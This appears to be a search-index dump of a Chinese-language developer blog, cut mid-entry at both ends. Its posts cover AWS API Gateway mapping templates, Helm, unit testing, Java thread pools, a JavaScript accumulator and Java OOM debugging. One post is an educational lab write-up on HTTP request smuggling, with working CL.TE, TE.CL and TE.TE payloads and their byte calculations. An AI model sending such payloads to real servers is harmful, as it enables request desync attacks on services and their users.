boundary 去區分,沒了這個就沒辦法識別傳了什麼上來","link":"/2017/11/15/handle-upload-download-file-with-Lambda-and-API-Gateway-2/"},{"title":"How to use mapping template with API Gateway in AWS","text":"[Update] 2017-11-08 原本文章的 mapping 方式再依些特別狀況會出錯,在文章最下面加入了最新的 mapping 方式 最近需要在 API Gateway 上面作 request 和 response 的參數調整這裡紀錄一下一些基本的使用語法官方網站也有提供使用方式還有一些例子或是可以直接到 Apache Velocity Template Language if else1234567{ #if ($variable == "cool") "variable" : "$variable" #else if ($variable == "hot") "variable" : "$variable" #end} 如果參數是 cool 的話,顯示出來是123{ \"variable\": \"cool\"} type以上一個 case 來說,把 variable 改成是 1123{ "variable": "$variable"} 這樣顯示出來會是123{ \"variable\": \"1\"} 但是如果改成這種格式123{ "variable": $variable}這樣顯示出來會是123{ \"variable\": 1} 這邊要注意的是,如果格式是以下這樣,然後參數是 “test”123{ "variable": $variable}這樣顯示出來會是1234{ // 這會直接讓 API Gateway mapping template 直接爆炸 \"variable\": test} key如果把 $variable 設成 “test”,並用以下的 template123{ "$variable": "$variable"}結果會是123{ \"test\": \"test\"} foreach and keySet資料如下123456789101112{ \"data\": { \"book\": [{ \"title\": \"cool\", \"serial\": 123 }, { \"title\": \"hot\", \"serial\": 321 }] }, \"comment\": \"Hi\"} 我想要把他轉換成以下的格式,該怎麼用 mapping template12345678910{ \"book_library\": [{ \"name\": \"cool\", \"number\": 123 }, { \"name\": \"hot\", \"number\": 321 }], \"message\": \"Hi\"} mapping template 可以這樣寫12345678910111213141516171819202122232425262728293031323334353637#set($root = $input.path(\"$\")){ // keySet 可以拿到這層所有的 key // 這裡可以拿到 data 和 comment ($rootKey) #foreach($rootKey in $root.keySet()) #if($rootKey == \"data\") \"book_library\": [ #foreach($elem in $root.get($rootKey)) { // 這層可以達到 title 和 serial #foreach($i in $elem.keySet()) #if($i == \"title\") \"name\": \"$elem.get($i)\" #elseif($i == \"serial\") // 因為要讓這裡是數字,所以不加上雙引號 \"number\": $elem.get($i) #end #if($foreach.hasNext),#end #end } #if($foreach.hasNext),#end #end ] #elseif ($rootKey == \"comment\") \"message\": \"$root.get($rootKey)\" #end // 這是為了讓 // { // \"test\": 123 // } // 最後面的 123 加逗點用的 // 如果是會後一個,就不會加逗點了 #if($foreach.hasNext),#end #end} 更好的寫法在 aws 官網中,除了拿到 raw payload 之外還可以利用 $input.json() 的寫法拿到格式更完整的資料因為在原本的方式中,如果拿到的字串包含 \\n,這會讓 API Gateway 爆炸雖然可以透過 $util.escapeJavaScript 的方式避免但在每一個地方都加上 $util.escapeJavaScript 也是很蠢所以新的寫法會像是這樣 第一個地方是 #set($count = $foreach.count - 1) 這是為了拿到 index 第二個地方寫法就比較特別,拿到 index 之後,$input.json($) 這樣是拿到整個 payload (JSON)如果 $rootKey = 'book_library' 那這樣寫$input.json("$['$rootKey']") 等於 $input.json("$['book_library']") 的寫法,就可以拿到陣列了。那如果要拿第一個的話$input.json("$['$rootKey'][0]") 這樣就能拿到, 如果用變數取代的話,可以寫成$input.json("$['$rootKey'][$count]")拿到陣列後,要拿陣列裡面的物件就可以這樣寫$input.json("$['$rootKey'][0]['$i']") 等同於 $input.json("$['$rootKey'][0]['title']") 第三個就是讓剩餘的都直接拿出來就結束了 要特別注意的點是,不用加上 “” 在 $input.json() 外面了因為用 $input.json() 拿的已經是完整格式了String 就是 String,不用像上面的方式還要加上 “” 去讓他變成字串Boolean Int 等等全部都是,也不用擔心 \\n 這個出現1234567891011121314151617181920212223242526272829303132333435363738394041424344#set($root = $input.path(\"$\")){ // keySet 可以拿到這層所有的 key // 這裡可以拿到 data 和 comment ($rootKey) #foreach($rootKey in $root.keySet()) #if($rootKey == \"data\") \"book_library\": [ #foreach($elem in $root.get($rootKey)) { // ============= Here ================= #set($count = $foreach.count - 1) // ============= Here ================= // 這層可以達到 title 和 serial #foreach($i in $elem.keySet()) // ============= Here ================= #if($i == \"title\") \"name\": $input.json(\"$['$rootkey'][$count]['$i']\") #elseif($i == \"serial\") \"number\": $input.json(\"$['$rootkey'][$count]['$i']\") #end // ============= Here ================= #if($foreach.hasNext),#end #end } #if($foreach.hasNext),#end #end ] #elseif ($rootKey == \"comment\") // =============== Here ============== \"message\": $input.json(\"$.$rootkey\") // =============== Here ============== #end // 這是為了讓 // { // \"test\": 123 // } // 最後面的 123 加逗點用的 // 如果是會後一個,就不會加逗點了 #if($foreach.hasNext),#end #end}","link":"/2017/10/24/api-gateway-mapping-template/"},{"title":"helm 語法筆記","text":"前言helm 是一個 k8s 設定檔管理的一種工具,這邊是紀錄一些比較特別的用法,避免以後忘記。 架構heml 的架構大概如下 12345|--Chart.yaml|--values.yaml|--templates|----_helpers.tpl|----deployment.yaml 基本取值基本上 templates > deployment.yaml 就是 outline,實際的值都會放在 values.yaml 裡面,而在 template 簡單使用的方式大概有以下兩種。 123# deployment.yamlxxx: {{ .Values.xxxx }}name: {{ .Chart.name }} # 會拿 Chart.yaml 裡的東西 對應到 values.yaml 和 Chart.yaml 格式是這樣 1234# values.yamlxxx: 1# Chart.yamlname: helm-test 而在 deployment.yaml 裡面也可以拿 _helpers.tpl 裡面的東西,最簡單的就是透過 include "test.name" . 去拿。 12# deployment.yamlname: {{ include \"test.name\" . }} 而在 _helpers.tpl 裡面是這樣宣告的 123{{- define \"test.name\" -}}{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix \"-\" }}{{- end }} 不同 scope但因為有 array 的關係,所以在 helm 可以這樣用 123{{- range .Values.list }}name: {{ .name }}{{- end}} 對應到 values.yaml 123othervalue: coollist: - name 但如果想在這個 range scope 裡面使用 .Values.othervalue 是沒辦法的,因為 scope 關係,所以必須改用 $ 這個全域變數取得最上層的 scope,變成 $.Values.othervalue 就可以在 range scope 裡面使用 1234{{- range .Values.list }}name: {{ .name }}othervalue: {{ $.Values.othervalue }}{{- end}} 而對應到 _helpers.tpl 的話,一樣會有 scope 問題,所以必須把 . 改成 $ 才可以正常取值。 12345678{{- range .Values.list }}name: {{ .name }}othervalue: {{ $.Values.othervalue }}somename: {{ include \"test.name\" $ }}{{- end}}# 對比在外層的使用方式othervalue: {{ .Values.othervalue }}somename: {{ include \"test.name\" . }} dry-run另外寫完可以直接在 local 用 dry-run 的方式確認是否設定正確 (在 Chart.yaml 同個目錄下)helm template {name} . --dry-run --debug 也可以指定特定 valueshelm template {name} . --dry-run --debug -f values/staging.yaml 後記以上簡單記錄使用方式,有遇到更特別再陸續補上。 參考 https://helm.sh/docs/chart_template_guide/debugging/ https://helm.sh/docs/chart_template_guide/control_structures/#looping-with-the-range-action https://helm.sh/docs/chart_template_guide/variables/","link":"/2021/11/24/helm-note/"},{"title":"關於『測試』這件事","text":"為什麼要測試?確保你程式的結果跟你預期所想的一樣那這樣有什麼好處?這樣大概會讓你少加班好幾小時吧 …. 下面我會介紹如何用 mocha 去做測試小弟我對測試並沒有鑽研到很深的地步,如果有任何奇怪的地方,歡迎指教 ~ 介紹測試是為了確保你的程式結果跟你預期所想的一樣那我們又該如何去測試?那又該測試什麼東西? 在這邊我把該測試的東西分成三個方向,由小到大這篇文章重點會放在 Unit Test 的部分,其他會以 Unit Test 的概念延伸說明 Unit Test (本篇重點)測試你的 function 有沒有輸出正確結果 API Test測試跟 API 相關的 Unit 有沒有正確執行 User Story Test測試整個使用情景有沒有跟使用者所想的一樣 準備在開始要做測試之前需要安裝以下幾樣東西1234// mocha 測試主要會用到的東西// chai 一個很好用的 assertion library// axios 發 request 用的 librarynpm install mocha chai axios 該建立的資料夾 12345|--- package.json|--- node_modules|--- test| |--- test.js 如何測試想像一下我們現在有一個需求進來了『我要把我丟進去的數字都變成一個陣列然後回傳回來』 所以根據這個狀況我可以列出一個測試的方式12345678910// First Test Case in test.jsconst {assert} = require('chai')describe('Unit Test', function() { it('Test function with one number', function () { const result = transformToArray(1) assert.equal(typeof [], typeof result) assert.equal(1, result.length) });})測試列出來了,但是程式完全還沒寫於是接下來先寫主要功能的程式 12345678// 這程式想放哪都可以,記得 require 近來就好function transformToArray (number) { return [number]}transformToArray(1)// result should be [1] 程式寫出來之後,可以正式執行測試了依照這個 test case 我們的程式是有正確執行的 接下來我在列出另一個 test case123456789101112131415// First Test Case in test.jsconst {assert} = require('chai')describe('Unit Test', function() { it('Test function with one number', function () { const result = transformToArray(1) assert.equal(typeof [], typeof result) assert.equal(1, result.length) }); it('Test function with multiple numbers', function () { const result = transformToArray(1, 2, 3, 4) assert.equal(typeof result, typeof []) assert.equal(result.length, 4) })}) Oops, test case 出錯了,代表我的程式爆炸了這時候該怎麼辦?那就是回去繼續修改我的程式讓他可以通過這個 test case 進行修改後,程式變成這樣 123456789// Version 2 程式const transformToArray = function () { let temp = [] for (const i of arguments) { temp.push(arguments[i]) } return temp} 登愣,我們執行結果正確了 但是總覺得程式好像沒有寫得很漂亮於是改成 1234567// Version 3 的程式const transformToArray = function () { return Object.keys(arguments).map((key) => { return arguments[key] })} 在我們剛剛列出 test case 然後修正程式去符合新的 test case這整個開發流程,就屬於 TDD 的方式 列出 test case 開發程式 Passed or Failed Refactor 不過我個人是喜歡 BDD 的開發方式,兩個的主要差別我列在下面 Test-driven Development 的方式,是以測試為主,列出各種 test case 讓程式可以正確執行 Behavior-driven Development 的方式跟 TDD 很相似,但是他會以規格為主(有點像訂出 User Story 的感覺) BDD 比較符合我們現時開發上的流程,客戶需求進來變成一個 User Story,根據 User Story 寫出 Test Case接下來就是開發程式,讓程式可以通過這個 Test Case 那關於測試 API 和 Uesr Story 的方式大體上跟 Unit Test 很相似,差在 Test Case 的寫法不太一樣而已 對 API Test 來說,可能是 3 ~ 4 Unit 合成的一個 API例如 API 是『登入』,對登入來說 Input 是帳號密碼,Output 是有無驗證成功帳號密碼的驗證可能牽扯到 3 ~ 4 Unit,但是這已經在 Unit Test 那邊完成了所以對於 API Test 來說,可能會列出以下幾種 Test Case 輸入正確帳號密碼,成功登入 輸入錯誤帳號密碼,無法登入 輸入正確帳號錯誤密碼,無法登入 輸入錯誤帳號正確密碼,無法登入 對 User Story 來說,可能是 3 ~ 4 個 API 合成的一個功能假如使用情形是,使用者登入了賣書網站搜尋了他想要的書本,根據搜尋會顯示或是找不到書本給使用者看那對於 User Story Test 來說,可能會列出以下幾種 Test Case First Test Case 輸入正確帳號密碼,成功登入後 在搜尋欄位輸入『nodejs』 然後顯示 nodejs 書籍 Second Test Case 輸入正確帳號密碼,成功登入後 在搜尋欄位輸入『找不到』,然後顯示搜尋結果為 0 筆的頁面 結語我認為用什麼樣的開發流程去測試程式都可以BDD TDD ATDD 等等,都是很好的開發流程對於不同團隊都會有各個團隊習慣的方式但最重要的是,要有『測試』這件事情出現在專案的開發流程上就足以","link":"/2017/11/01/how-to-test/"},{"title":"HTTP Request Smuggling (HTTP 請求走私)","text":"什麼是 HTTP Request Smuggling ?今日常見的網頁應用程式往往會有多一層 server 的存在請求 –> front-end server –> back-end serverfront-end server 接收到請求的時候,會轉發到 back-end server 去處理 http request smuglling 的漏洞就是出現在『轉發』到 back-end server 這裏有時候為了效能關係,front-end server 到 back-end server 這一段會把所有請求塞在同一段 TCP Connection 裡面 (重複利用 TCP Connection),如下圖 當所有請求集中在一起轉發到 back-end server 時如果在這之中有不合法的請求的話,會出現什麼樣的狀況呢?此不合法的請求會被當成『下一個』請求被 back-end server 處理這就是 HTTP Request Smuggling 攻擊 HTTP Request Smuggling 原理主要是透過 Content-Length 以及 Transfer-Encoding 此兩個標頭可以去構造出此攻擊,這邊複習一下這兩個標頭的意義 Content-LengthContent-Length 指的就是用 POST Method 時帶入的 data 的長度以此範例來說,總共為 11 bytes,那 Content-Length 就是 11(此長度不含 \\r\\n\\r\\n,詳細 HTTP 組成可參考此 HTTP/1.1 — 訊息格式 Message Format) 123456POST /search HTTP/1.1Host: xxxxxxxxContent-Type: application/x-www-form-urlencodedContent-Length: 11q=smuggling Transfer-EncodingTransfer-Encoding 是為了解決上一個標頭 Content-Length 的問題而出現的另一個計算 message body 的方式詳細可以參考 HTTP 协议中的 Transfer-Encoding 這邊總共分為三個主體 1. 內容長度 (16 進位) 2. 主要內容 3. 結束 以下面的例子來說 1. 內容長度為: b 2. 內容為: q=smuggling 3. 結束: 0 第二點的內容是不包含 \\r\\n 的除非請求本身不是 POST,需要直接結束的話則需要把 \\r\\n 帶進去,且要計算長度 12345678POST /search HTTP/1.1Host: xxxxxxxxContent-Type: application/x-www-form-urlencodedTransfer-Encoding: chunkedbq=smuggling0 而 HTTP 為了預防此兩個標頭同時使用所以當這兩個標頭同時出現的時候,會忽略 Content-Length 這個標頭再加上 front-end 和 back-end server 處理此兩個標頭的方式可能不一樣 代表說當以下情況出現時front-end 支援 Content-Length 但不支援 Transfer-Encodingback-end 支援 Content-Length 支援 Transfer-Encoding如果我同時送了兩個標頭過去的話,front-end 就只會處理 Content-Length 格式的內容而 back-end 就只會處理 Transfer-Encoding 格式的內容造成不一致的現象,這造成 HTTP Request Smuggling 漏洞的問題原因之一 反過來說front-end 支援 Content-Length 支援 Transfer-Encodingback-end 支援 Content-Length 但不支援 Transfer-Encoding也會造成不一致的現象,也是問題原因之一 上面兩個例子各代表為 CL.TE vulnerabilities 以及 TE.CL vulnerabilitiesCL = Content-LengthTE = Transfer-Encoding順序代表了 front-end.back-end,簡單來說就是看誰支援什麼 構造 HTTP Request SmugglingCL.TE基本請求的概念如下12345678POST / HTTP/1.1Host: xxxxxxxxContent-Length: 13Transfer-Encoding: chunked0SMUGGLED 因為前端支援 CL,所以就先用 CL 把要偷渡的請求先放在最下面並且用一個 0 放在前面代表著 TE 的結束符號當請求到 back-end 的時候POST 到 0 那一段就會是一個 reuqestSMUGGLED 那一段就會是下一個 request 這邊根據參考資料的網站去做一下實驗因為題目說要構造出 GPOST 到 back-end 處理 先試著對 front-end server 做 GPOST 得到此回應 接下來就是要把 GPOST 偷渡在 request 裡面送到 back-endPayload 為下:1234567891011POST / HTTP/1.1Host: xxxxxxxxContent-Length: 29Transfer-Encoding: chunked0GPOST /test HTTP/1.1---- 不包含此行 記得要有 \\r\\n 插在中間才代表 request 的結束不然會出現 timeout 或是 invalid request 的問題而在最後面的 GPOST 需要兩個 \\r\\n這樣的 Content-Length 計算是需要包含 \\r\\n\\r 一個 byte\\n 一個 byte 所以從 0 開始那一段0\\r\\n -> 3 bytes\\r\\n -> 2 byteGPOST /test HTTP/1.1\\r\\n -> 22 bytes\\r\\n -> 2 bytes總計為 29 bytes 第一次送 request 會得到正常的請求 第二次送,因為前一次 request 走私了一個 request所以 response 會回應到此次 request 上就得到 Unreconize GPOST Method 了 TE.CL基本請求的概念如下1234567891011POST / HTTP/1.1Host: xxxxxxxxContent-Length: 3Transfer-Encoding: chunked8SMUGGLED0---- 不包含此行 因為前端支援 TE,所以就先用 TE 把要偷渡的請求先放在最中間再微調 CL 的長度,讓 back-end 只處理到 TE 的第一個主體,這邊要注意是 CL 的設置,長度要設置到 TE 的第一個主體結尾 (包含 \\r\\n)以上面的例子來說,CL 長度要填到 8\\r\\n 為止 (3 bytes)後面就放要走私的請求即可 這邊根據參考資料的網站去做一下實驗第一個要注意的點是要偷渡的 request 長度GPOST /test HTTP/1.1\\r\\n -> 22 bytes\\r\\n -> 2 bytes24 bytes 轉成 16 進位變成 16 第二個要注意的點是 CL 長度為 416\\r\\n -> 4 bytes 12345678910111213POST / HTTP/1.1Host: xxxxxxxxContent-Type: application/x-www-form-urlencodedContent-length: 4Transfer-Encoding: chunked16GPOST /test HTTP/1.10---- 不包含此行 第一次送 request 會得到正常的請求 第二次送,因為前一次 request 走私了一個 request所以 response 會回應到此次 request 上就得到 Unreconize GPOST Method 了 TE.TE還有一種是利用 front-end 和 back-end 對 TE 不同的解析方式去攻擊透過帶入讓 server 混淆的 TE,可以藉此讓 server 不去解析 TE而改去解析 CL 舉例來說帶入 Transfer-Encoding: cowfront-end server 如果把它判別成錯誤的標題,此時會轉去判斷 CL這樣攻擊就是 CL.TE 攻擊了 反過來是 back-end server 解析錯誤,改轉去判斷 CL 的話那就是 TE.CL 攻擊了 根據網站去做攻擊實驗此實驗是 TE.CL 攻擊,代表 back-end server 針對 TE 解析有誤 123456789101112POST / HTTP/1.1Host: ac1b1fd31f891d6c80bb2c930035000c.web-security-academy.netContent-Length: 4Transfer-Encoding: chunkedTransfer-Encoding: cow16GPOST /test HTTP/1.10--- 不包含此行 byte 算法跟前面的 TE.CL 一樣 如果此漏洞是 front-end server 針對 TE 有解析問題的話Payload 和算法就要改成 CL.TE 的方式了 第一次送 request 會得到正常的請求 第二次送,因為前一次 request 走私了一個 request所以 response 會回應到此次 request 上就得到 Unreconize GPOST Method 了 後記上面簡單的根據自己理解的意思去說明了一下如何使用 HTTP Request Smuggling 攻擊其他更詳細的可以參考下面資料,都有提供 lab 去做攻擊而且官方寫的都非常詳細,非常建議去看看和玩玩看 lab 參考資料 What is HTTP request smuggling Finding HTTP Request Smuggling Exploiting HTTP Request Smuggling HTTP Desync Attacks: Request Smuggling Reborn 此文章是作者如何繞過 PayPal 登入機制所寫的","link":"/2019/09/30/http-smuggling/"},{"title":"Java Executor、TheadPoolExecutor 設定參數基本介紹","text":"前言Thread Pool 的概念和使用 Database 的 Connection Pool 是很類似的概念就像 Connection Pool 的使用方法是去 Pool 裡面取得一個 Connection 使用使用完之後就關閉此 Connection,並把這個 Connection 丟回 Pool 之中讓其他程式使用 Thread Pool 也是這種概念,但在 JDK 1.5 之前的版本中是沒有一個管控的方式幾乎都是用 new Thread 的方式去創建使用在 JDK 1.5 之後的版本則是出了 Exectuor 去管控 Thread Pool ThreadPoolExecutor 介紹Java 提供了 ThreadPoolExecutor 能讓我們客製化定義不同的使用模式以下為 ThreadPoolExecutor 的設定即使用方法以及取用 Queue Size 以及 Thread Name 的方式 1234567891011121314151617ThreadPoolExecutor executor = new ThreadPoolExecutor( int corePoolSize, int maxPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, RejectedExecutionHandler handler);System.out.println(\"Queue size is: \" + executor.getQueue().size());executor.execute(new Runnable() { public void run() { System.out.println(\"running\"); System.out.println(\"Thread Name: \" + Thread.currentThread().getName()) }}) corePoolSize 核心 Thread 的數量,基本上 Thread 數量不會低於此數字 maxPoolSize Thread Pool 的最大數量,如果所有 Thread 都被執行的話 Task 會被塞到 Queue 之中等到有空閒的 Thread 為止 決定 maxPoolSize 的數量最好是根據系統資源去計算出來 Runtime.getRuntime().availableProcessors(); keeyAliveTime 當閒置時間超過此設定的時間的話,系統會開始回收 corePoolSize 以上多餘的 Thread unit keepAliveTime 的時間單位,可以使用 TimeUnit.SECONDS workQueue 決定當所有 Thread 都被執行時,Task 在 Queue 之中會以何種形式等待 handler Queue 已滿且 Thread 已達到 maxPoolSize 之後會以什麼樣的方式處理新的 Task BlockingQueue 詳細介紹基本規則為 如果當前的 Thread 小於 corePoolSize,則 Executor 首先會新增 Thread,而不會把 Task 丟到 Queue 之中 (基本上就是直接運行的意思) 如果當前的 Thread 大於等於 corePoolSize,則 Executor 首先會把 Task 加到 Queue 之中等待 當 Task 無法再被加入到 Queue 之中的話,則 Executor 首先會創建新的 Thread,直到超過 maxPoolSize 為止 超過 maxPoolSize 時,任務會被拒絕 BlockingQueue 有三種類型 直接提交代表類型: synchronousQueue基本上就 Queue Size 就是 0會直接把 Task 提交給 Thread,如果不存在可用 Thread,則新建一個如果此類型有設置 maxPoolSize 的話,是有可會拒絕新的 Task所以通常使這種類型,會建議 maxPoolSize 不要做上限設定 無界隊列 (Unbounded Queue)代表類型: LinkedBlockingQueueQueue 的大小是無限制的特別注意的是因為大小是無限制,所以萬一 Task 執行時間過長會導致有大量個 Task 卡在 Queue 之中動彈不得,進而導致 OOM 的發生Executors.newFixedThreadPool 採用的就是此種類型的 Queue 有界隊列 (Bounded Queue)代表類型: ArrayBlockingQueueQueue 的大小是有限制的但要注意的點是,這個 Queue 大小必須和 Thread Pool 相互搭配才可以發揮出比較好的效能使用大的 Queue Size 和小的 Thread Pool Size雖然可以有效降低 CPU 使用率,但會降低 QPS而使用小的 Queue Size 和大的 Thread Pool Size雖然可以提昇 QPS,但會降低 CPU Queue 飽和 RejectExecutionHandle 介紹再來要介紹當 Queue 飽和之後,可以根據不同 handle 做出不一樣的行為以下總計有四種使用方式 終止策略 (AbortPolicy)此為預設 Policy使用該 Policy,飽和時會拋出 RejectedExecutionException調用者可以用以下自行定義方式處理異常 12345678executor.setRejectedExecutionHandler(new RejectedExecutionHandler() { @Override public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) { System.out.println(\"Get you!\"); r.run(); System.out.println(\"Done in handler\"); }}); 拋棄策略 (DiscardPolicy)不做任何處理直接拋棄 拋棄舊任務策略 (DiscardOldestPolicy)把 Queue 之中最頭的元素拋棄,並在嘗試重新提交 Task 調用者運行策略 (CallerRunsPolicy)簡單來說,飽和後會直接由調用 Thread Pool 的主 Thread 自己來執行這個 Task但在這個期間,主 Thread 就無法再度提交 Task從而讓 Thread Pool 有時間把正在處理的 Task 給完成 創建 Thread Pool 的四個常用方法這四個常用的方法都是透過 ThreadPoolExecutor 的不同參數所實作而成的 public static ExecutorService newFixedThreadPool(int nThreads) 創建固定數量的 Thead,提交 Task 的時候如果未達 nThreads 的數量的話,則會一直新建 Thread 達到 nThreads 時,之後的 Task 則會進入到佇列中 12345public static ExecutorService newFixedThreadPool(int nThreads) { return new ThreadPoolExecutor(nThreads, nThreads, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>());} public static ExecutorService newCachedThreadPool() Thread 的數量預設上限為 2^31 - 1,如果當 Thread 大於 Tasks 數量的時候 就會開始去回收那些等了超過 60 秒還沒有 Task 進來的 Thread 問題是,這個 newCachedThreadPool 是屬於動態新建所以萬一 Task 一直大於 Thread 數量的話則會一直新建 這樣很容易耗光機器資源,使用這個最好的狀況是 Task 的執行時間是短的才比較適合 12345public static ExecutorService newCachedThreadPool() { return new ThreadPoolExecutor(0, Integer.MAX_VALUE, 60L, TimeUnit.SECONDS, new SynchronousQueue<Runnable>());} public static ExecutorService newSingleThreadExecutor() 創建一個 Single Thread,因為此 Thread 被使用的話其他都會是在佇列中等待,所以效能會下降 1234public static ScheduledExecutorService newSingleThreadScheduledExecutor() { return new DelegatedScheduledExecutorService (new ScheduledThreadPoolExecutor(1));} public static ScheduledExecutorService newScheduledThreadPool(int corePoolSize) 支持定時以及週期性執行 Task 的需求 123public static ScheduledExecutorService newScheduledThreadPool(int corePoolSize) { return new ScheduledThreadPoolExecutor(corePoolSize);} 看看 Parent Class 1234public ScheduledThreadPoolExecutor(int corePoolSize) { super(corePoolSize, Integer.MAX_VALUE, 0, NANOSECONDS, new DelayedWorkQueue());} 但是基本上不是很推薦使用以上這四種方法去定義 Thread Pool在阿里巴巴的 Java 開發手冊中也有提到,如果要新建 Thread請透過 ThreadPoolExecutor 的方式去自定義 Thread Pool 的使用模式在這篇文章的樓主也是因為用了以上其中一個方法採到 OOM 的雷所以在設定 Thread Pool 的時候要特別注意使用的情況適不適合! References Java Executor并发框架 一次Java线程池误用引发的血案和总结 如何使用ThreadPool 并发新特性—Executor 框架与线程池 Java ThreadPoolExecutor and BlockingQueue Example","link":"/2019/02/19/java-executor/"},{"title":"javascript 無限累加器","text":"前言最近在 js 群組上面看到一個題目,覺得蠻有趣就順手記錄下來,題目如下1234sum(2)(3).sumOf() // 5sum(2, 3).sumOf() // 5sum(1, 2)(3).sumOf() // 6sum(1)(2)(3)(4)(5, 6, 7, 8)(9, 10).sumOf() // 55 其實這就是 curry 化的一種變形寫法 實作 - 基本 function先來說說 curry 是什麽樣的東西『透過部分參數呼叫一個 function,然後讓此 function 回傳 function 去處理剩餘的參數』以下先來個符合題目的範例12345678let sum = function(x) { return function(y) { return { sumOf: () => x + y } };};sum(2)(3).sumOf() // 5 這樣一個簡單的累加器就完成了,但這只也符合兩層如果要加到 5 層,程式碼就會長下面這樣這種 code 根本不是人看的,接下來就需要另一個概念『遞迴』12345678910111213let sum = function(x) { return function(y) { return function(z) { return function(a) { return function(a) { return { sumOf: () => a+b+x+y+z } }; }; }; };}; 實作 - 遞迴遞迴的概念就是重複呼叫 function 本身,然後達到某個條件在停止所以關鍵在於『需要讓他一直呼叫 function 直到呼叫 sumOf 才停止』依照這個概念下去設計,程式碼會如下12345678910let sum = function(x) { let all = x; let plus = (y) => { all += y; return plus; } plus.sumOf = () => {return all} return plus;};sum(1)(2)(4).sumOf() // 7 透過在裡面宣告一個新的 plus function並把最一開始傳進來的 x 放在 all 這個 closure 裡面去保存然後讓這個 plus function 一直回傳自己就可以達到無限累加的功能接下來最後透過賦予 plus 一個 object function在最後去呼叫 sumOf 就可以直接回傳總值了 實作 - 無限參數接下來要解決另一個問題就是無限參數的問題可以透過 args 把所有參數都帶進來1234function test(...args) { console.log(args);}test(1,2,3,4) // [1, 2, 3, 4] 接下來配合 reduce 去把整個 array 加起來這樣無限累加器就成功了12345678910let sum = function(...args) { let all = args.reduce((p,c)=>p+c,0); let plus = (...args) => { all += args.reduce((p,c)=>p+c,0); return plus; } plus.sumOf = () => {return all;} return plus;};sum(1,2,3)(2,3,4)(1,2).sumOf() // 18 另外其實這一段程式碼也可以再改寫因為這一段跟 sum 的第一行 args.reduce 都是一樣的東西1234let plus = (...args) => { all += args.reduce((p,c)=>p+c,0); return plus;} 這邊可以透過用 bind function如此一來,可以把加總的結果再丟到新的 function 去做加總1234567let sum = function (...args) { let all = args.reduce((p,c)=>p+c,0); let plus = sum.bind(null, all); plus.sumOf = () => {return all}; return plus;}sum(1)(2,3)(3,4,5).sumOf() // 18 後記雖然看到題目知道大概就是考 curry 和 clousre 的概念但還是會稍微卡一下 XD蠻有趣的題目就順手紀錄拉 ~","link":"/2020/02/10/javascript-accumulator/"},{"title":"java.lang.OutOfMemoryError Java heap space? 怎麼解?","text":"前言因為工作關係,其實不只會碰到 node.js有時候還會協助其他專案,而有的專案就是用 java 寫的很久之前在伺服器噴出一個 OutOfMemoryError: Java heap space 的錯誤就開始尋錯之旅了 … 但這裡不會真實把工作上的專案的 bug 記錄在這裡 XD只會以簡單的程式去表達當時除錯的流程基本上發摟這方法,應該能夠鎖定問題點不行的話 … 您看看就好 XD 還原案發現場先上一段程式來模擬可以噴出 OutOfMemoryError此程式是無限迴圈地往 Map 裡面塞東西12345678910111213141516import java.util.HashMap;import java.util.Map;import java.util.Random;public class Test { public static void main(String args[]) throws Exception { Map<Integer, String> map = new HashMap<Integer, String>(); Random r = new Random(); while (true) { map.put(r.nextInt(), \"value\"); } }} 透過 javac Test.java 編譯成功後再透過 java -Xmx12m Test 去執行指令這裡的 -Xmx12m 是一個關鍵,這裡指定了這個 java 程式能使用的 heap memory 的上限為 12M此時執行完指令的時候會噴出以下錯誤12345Exception in thread "main" java.lang.OutOfMemoryError: Java heap space at java.util.HashMap.resize(HashMap.java:703) at java.util.HashMap.putVal(HashMap.java:662) at java.util.HashMap.put(HashMap.java:611) at Test.main(Test.java:13) 這樣可以看到噴出此錯誤訊息這代表說假設你電腦本身記憶體空間 8G但你分配給 java 應用程式的記憶體只有 12 MB 的時候它不會跨過這個 12 MB 限制,即使電腦還有將近 8G 的記憶體空間,它是不會超過 12 MB總歸一句話,使用的記憶體超出了我們設定給他的限制會導致 OOM (Out of Memory) 這裡可以注意到叫做『Heap Space』也就是程式運行時 JVM 可調配讓程式使用的記憶體空間Class 實例化的 Instance 也是被放在這個區域除了 Heap 之外,還有 PermGen 的設定PermGen 指的是 Memory 永久保存區是存放 Class, Meta Info 的地方如果太小可能就會在 pre compile 的階段把 PermGen 弄爆 解決方法通常記憶體不夠,就是給他開大加下去!但萬一你的程式剛好是無窮迴圈地往某一個地方塞東西這樣加大記憶體就沒有任何意義了因為這屬於程式上的 Bug,要解決的不是記憶體而是寫出這程式的人解決程式邏輯的 Bug 才對 但如果是本身記憶體真的不夠用那就是加上記憶體試試看,如果加了好幾 XXG 上去依舊不能用就開始要分析出錯的原因了 至於要如何分析, 雖然 log 會噴出 Exception 的訊息但總不會一直蹲在 log 前面看 Exception 哪天噴出來就算 log 以雲端方式保存,Exception 能分析的程度還是有限 所以可以加上以下指令把當時噴出 OOM 的詳細狀況 dump 出來-XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/tmp會把在 OOM 的時候, 把整個 heap 等等當下執行詳細的狀況儲存變成一個檔案以上述的範例來說,使用的完整指令為java -Xmx12m -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/tmp Test這樣出現 OOM 的時候,就會往 /tmp 底下放入一個副檔名為 .hprof 可分析檔案12345678910java -Xmx12m -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/tmp Testjava.lang.OutOfMemoryError: Java heap spaceDumping heap to /tmp/java_pid57606.hprof ...Heap dump file created [19050199 bytes in 0.163 secs]Exception in thread "main" java.lang.OutOfMemoryError: Java heap space at java.util.HashMap.resize(HashMap.java:703) at java.util.HashMap.putVal(HashMap.java:662) at java.util.HashMap.put(HashMap.java:611) at Test.main(Test.java:13) 不過要注意的是當應用程式越龐大的時候,產生出來的 hprof 就會越大高達 GB 等級以上也是很常見的所以伺服器保留適當的空間就很重要 這時再透過 java 內建的一個分析程式 jvisualvm 去分析這個檔案就可以找到出現 OOM 的地方通常 jvisualvm 是位在 java home 裡面 bin 底下的位置,以 Mac 來說是在這個路徑底下/Library/Java/JavaVirtualMachines/jdk1.8.0_65.jdk/Contents/Home/bin/jvisualvmWidnwos 則是會在 C:\\Program Files\\Java\\jdk1.8.0_65 這前提是你沒有自行更改安裝的位置有更改安裝位置的話,那你自己應該就知道在哪了 XD 打開後長這樣,然後開啟剛剛 dump 出來的 hprof 